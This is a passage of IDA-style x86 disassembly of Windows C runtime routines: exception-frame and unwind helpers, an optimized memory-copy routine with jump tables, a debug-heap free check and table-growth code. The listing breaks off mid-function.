; Attributes: bp-based frame


sub_41F580	proc near		; CODE XREF: seg000:00437FD4j
					; seg000:00437FEEj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429EA0
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41F580	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		push	0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_42A410
		add	esp, 10h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5F0	proc near		; CODE XREF: sub_42A600+8Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_41F660
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_42AB00
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F5F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F660	proc near		; DATA XREF: sub_41F5F0+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429EA0
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6A0	proc near		; CODE XREF: sub_42A230+2Dp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41F770
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41F73C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_425C30
		call	dword ptr [eax+68h]
		add	esp, 8
		mov	[ebp+var_34], 0


loc_41F73C:				; DATA XREF: sub_41F6A0+4Bo
		cmp	[ebp+var_4], 0
		jz	short loc_41F759
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41F762
; ---------------------------------------------------------------------------


loc_41F759:				; CODE XREF: sub_41F6A0+A0j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41F762:				; CODE XREF: sub_41F6A0+B7j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F770	proc near		; DATA XREF: sub_41F6A0+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 66h
		test	ecx, ecx
		jz	short loc_41F795
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+24h], 1
		mov	eax, 1
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F795:				; CODE XREF: sub_41F770+12j
		push	1
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		push	edx
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429EA0
		add	esp, 20h
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_41F7DB
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41F520


loc_41F7DB:				; CODE XREF: sub_41F770+5Cj
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_41F7EC:				; CODE XREF: sub_41F770+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F800	proc near		; CODE XREF: sub_429F90+135p
					; sub_42A230+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax+10h]
		mov	esi, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	edi, esi
		mov	ebx, esi
		jl	short loc_41F859


loc_41F81E:				; CODE XREF: sub_41F800+54j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F828
		call	sub_42AC00


loc_41F828:				; CODE XREF: sub_41F800+21j
		mov	eax, [ebp+var_4]
		dec	esi
		mov	ecx, [ebp+arg_8]
		lea	edx, [esi+esi*4]
		lea	eax, [eax+edx*4]
		cmp	[eax+4], ecx
		jge	short loc_41F83F
		cmp	ecx, [eax+8]
		jle	short loc_41F844


loc_41F83F:				; CODE XREF: sub_41F800+38j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F84F


loc_41F844:				; CODE XREF: sub_41F800+3Dj
		mov	eax, [ebp+arg_4]
		mov	edi, ebx
		dec	eax
		mov	ebx, esi
		mov	[ebp+arg_4], eax


loc_41F84F:				; CODE XREF: sub_41F800+42j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_41F81E
		mov	eax, [ebp+arg_0]


loc_41F859:				; CODE XREF: sub_41F800+1Cj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_10]
		inc	esi
		mov	[ecx], esi
		mov	[edx], edi
		cmp	edi, [eax+0Ch]
		ja	short loc_41F86D
		cmp	esi, edi
		jbe	short loc_41F872


loc_41F86D:				; CODE XREF: sub_41F800+67j
		call	sub_42AC00


loc_41F872:				; CODE XREF: sub_41F800+6Bj
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ecx+eax*4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F890	proc near		; CODE XREF: sub_42CA04+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41F8A8
		push	[ebp+arg_0]
		call	sub_437A7C	; RtlUnwind


loc_41F8A8:				; DATA XREF: sub_41F890+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F890	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8B0	proc near		; DATA XREF: sub_41F8D2+Ao
					; sub_41F93A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41F8D1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41F8D1:				; CODE XREF: sub_41F8B0+10j
		retn
sub_41F8B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8D2	proc near		; CODE XREF: sub_42A600+C2p
					; sub_42CA04+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41F8B0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41F8EF:				; CODE XREF: sub_41F8D2:loc_41F92Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F92C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41F92C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41F92A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41F966
		call	dword ptr [ebx+esi*4+8]


loc_41F92A:				; CODE XREF: sub_41F8D2+44j
		jmp	short loc_41F8EF
; ---------------------------------------------------------------------------


loc_41F92C:				; CODE XREF: sub_41F8D2+2Aj
					; sub_41F8D2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F8D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F93A	proc near		; CODE XREF: sub_42A6DD+4Bp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41F8B0
		jnz	short locret_41F95C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41F95C
		mov	eax, 1

locret_41F95C:				; CODE XREF: sub_41F93A+10j
					; sub_41F93A+1Bj
		retn
sub_41F93A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F95D	proc near		; CODE XREF: sub_42AB00+1Ep
					; sub_42AB00+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44FD0C
		jmp	short loc_41F970
sub_41F95D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F966	proc near		; CODE XREF: sub_41F8D2+4Fp
					; sub_42CA04+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44FD0C
		mov	ecx, [ebp+8]


loc_41F970:				; CODE XREF: sub_41F95D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41F966	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F980	proc near		; CODE XREF: sub_40D017+5p
					; sub_40D18E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41F980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9A0	proc near		; CODE XREF: sub_40D894+Cp
					; sub_422240+581p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41F9C0
		cmp	edi, eax
		jb	loc_41FB38


loc_41F9C0:				; CODE XREF: sub_41F9A0+16j
		test	edi, 3
		jnz	short loc_41F9DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41F9FC
		rep movsd
		jmp	ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------


loc_41F9DC:				; CODE XREF: sub_41F9A0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41F9F4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41F9FC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F9A0+46j
		jmp	dword ptr ds:loc_41FAF8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41F9FC:				; CODE XREF: sub_41F9A0+31j
					; sub_41F9A0+8Ej ...
		jmp	ds:off_41FA7C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41FA10
		dd offset loc_41FA3C
		dd offset loc_41FA60
; ---------------------------------------------------------------------------


loc_41FA10:				; DATA XREF: sub_41F9A0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41F9FC
		rep movsd
		jmp	ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41FA3C:				; DATA XREF: sub_41F9A0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41F9FC
		rep movsd
		jmp	ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41FA60:				; DATA XREF: sub_41F9A0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41F9FC
		rep movsd
		jmp	ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41FA7C	dd offset loc_41FADF	; DATA XREF: sub_41F9A0:loc_41F9FCr
		dd offset loc_41FACC
		dd offset loc_41FAC4
		dd offset loc_41FABC
		dd offset loc_41FAB4
		dd offset loc_41FAAC
		dd offset loc_41FAA4
		dd offset loc_41FA9C
; ---------------------------------------------------------------------------


loc_41FA9C:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41FAA4:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41FAAC:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41FAB4:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41FABC:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41FAC4:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41FACC:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41FADF:				; CODE XREF: sub_41F9A0:loc_41F9FCj
					; DATA XREF: sub_41F9A0:off_41FA7Co
		jmp	ds:off_41FAE8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41FAE8	dd offset loc_41FAF8	; DATA XREF: sub_41F9A0+35r
					; sub_41F9A0+92r ...
		dd offset loc_41FB00
		dd offset loc_41FB0C
		dd offset loc_41FB20
; ---------------------------------------------------------------------------


loc_41FAF8:				; CODE XREF: sub_41F9A0+35j
					; sub_41F9A0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41FB00:				; CODE XREF: sub_41F9A0+35j
					; sub_41F9A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41FB0C:				; CODE XREF: sub_41F9A0+35j
					; sub_41F9A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41FB20:				; CODE XREF: sub_41F9A0+35j
					; sub_41F9A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41FB38:				; CODE XREF: sub_41F9A0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41FB6C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41FB60
		std
		rep movsd
		cld
		jmp	ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41FB60:				; CODE XREF: sub_41F9A0+1B1j
					; sub_41F9A0+208j ...
		neg	ecx
		jmp	ds:off_41FC30[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41FB6C:				; CODE XREF: sub_41F9A0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41FB84
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41FB84+4[eax*4]
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F9A0+1D6j
					; DATA XREF: sub_41F9A0+1DDr
		jmp	ds:off_41FC80[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		cwde
		sti
		inc	ecx
		add	[eax-1FFFBE05h], bh
		sti
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41FB60
		std
		rep movsd
		cld
		jmp	ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41FB60
		std
		rep movsd
		cld
		jmp	ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41FB60
		std
		rep movsd
		cld
		jmp	ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41FC34
		dd offset loc_41FC3C
		dd offset loc_41FC44
		dd offset loc_41FC4C
		dd offset loc_41FC54
		dd offset loc_41FC5C
		dd offset loc_41FC64
off_41FC30	dd offset loc_41FC77	; DATA XREF: sub_41F9A0+1C2r
; ---------------------------------------------------------------------------


loc_41FC34:				; DATA XREF: sub_41F9A0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41FC3C:				; DATA XREF: sub_41F9A0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41FC44:				; DATA XREF: sub_41F9A0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41FC4C:				; DATA XREF: sub_41F9A0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41FC54:				; DATA XREF: sub_41F9A0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41FC5C:				; DATA XREF: sub_41F9A0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41FC64:				; DATA XREF: sub_41F9A0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41FC77:				; CODE XREF: sub_41F9A0+1C2j
					; DATA XREF: sub_41F9A0:off_41FC30o
		jmp	ds:off_41FC80[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41FC80	dd offset loc_41FC90	; DATA XREF: sub_41F9A0+1B7r
					; sub_41F9A0:loc_41FB84r ...
		dd offset loc_41FC98
		dd offset loc_41FCA8
		dd offset loc_41FCBC
; ---------------------------------------------------------------------------


loc_41FC90:				; CODE XREF: sub_41F9A0+1B7j
					; sub_41F9A0:loc_41FB84j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41FC98:				; CODE XREF: sub_41F9A0+1B7j
					; sub_41F9A0:loc_41FB84j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41FCA8:				; CODE XREF: sub_41F9A0+1B7j
					; sub_41F9A0:loc_41FB84j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41FCBC:				; CODE XREF: sub_41F9A0+1B7j
					; sub_41F9A0:loc_41FB84j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41F9A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCE0	proc near		; CODE XREF: sub_40D98C+4p
					; seg000:0040E688p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FCF2
		jmp	loc_41FD7A
; ---------------------------------------------------------------------------


loc_41FCF2:				; CODE XREF: sub_41FCE0+Bj
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_4], eax


loc_41FD05:				; CODE XREF: sub_41FCE0+7Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jz	short loc_41FD57
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 1
		jz	short loc_41FD57
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_41FD57
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 3
		jz	short loc_41FD57
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	2Fh
		push	offset dword_439CF0
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FD57
		int	3		; Trap to Debugger


loc_41FD57:				; CODE XREF: sub_41FCE0+34j
					; sub_41FCE0+3Dj ...
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41FD05
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	9
		call	sub_421B20
		add	esp, 4


loc_41FD7A:				; CODE XREF: sub_41FCE0+Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41FCE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD90	proc near		; CODE XREF: sub_40D9EC+Bp
					; seg000:0040E4EBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AE90
		add	esp, 8
		pop	ebp
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB0	proc near		; CODE XREF: sub_41FE70+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41DB40
		push	2
		mov	eax, ds:dword_4F0090
		push	eax
		call	sub_41BD30
		add	esp, 8
		mov	ecx, ds:dword_4F008C
		sub	ecx, ds:dword_4F0090
		add	ecx, 4
		cmp	eax, ecx
		jnb	short loc_41FE3D
		push	68h
		push	offset dword_439CFC
		push	2
		push	2
		mov	edx, ds:dword_4F0090
		push	edx
		call	sub_41BD30
		add	esp, 8
		add	eax, 10h
		push	eax
		mov	eax, ds:dword_4F0090
		push	eax
		call	sub_41B2F0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41FE1A
		call	sub_41DB50
		xor	eax, eax
		jmp	short loc_41FE5F
; ---------------------------------------------------------------------------


loc_41FE1A:				; CODE XREF: sub_41FDB0+5Fj
		mov	ecx, ds:dword_4F008C
		sub	ecx, ds:dword_4F0090
		sar	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	ds:dword_4F008C, eax
		mov	ecx, [ebp+var_4]
		mov	ds:dword_4F0090, ecx


loc_41FE3D:				; CODE XREF: sub_41FDB0+2Aj
		mov	edx, ds:dword_4F008C
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
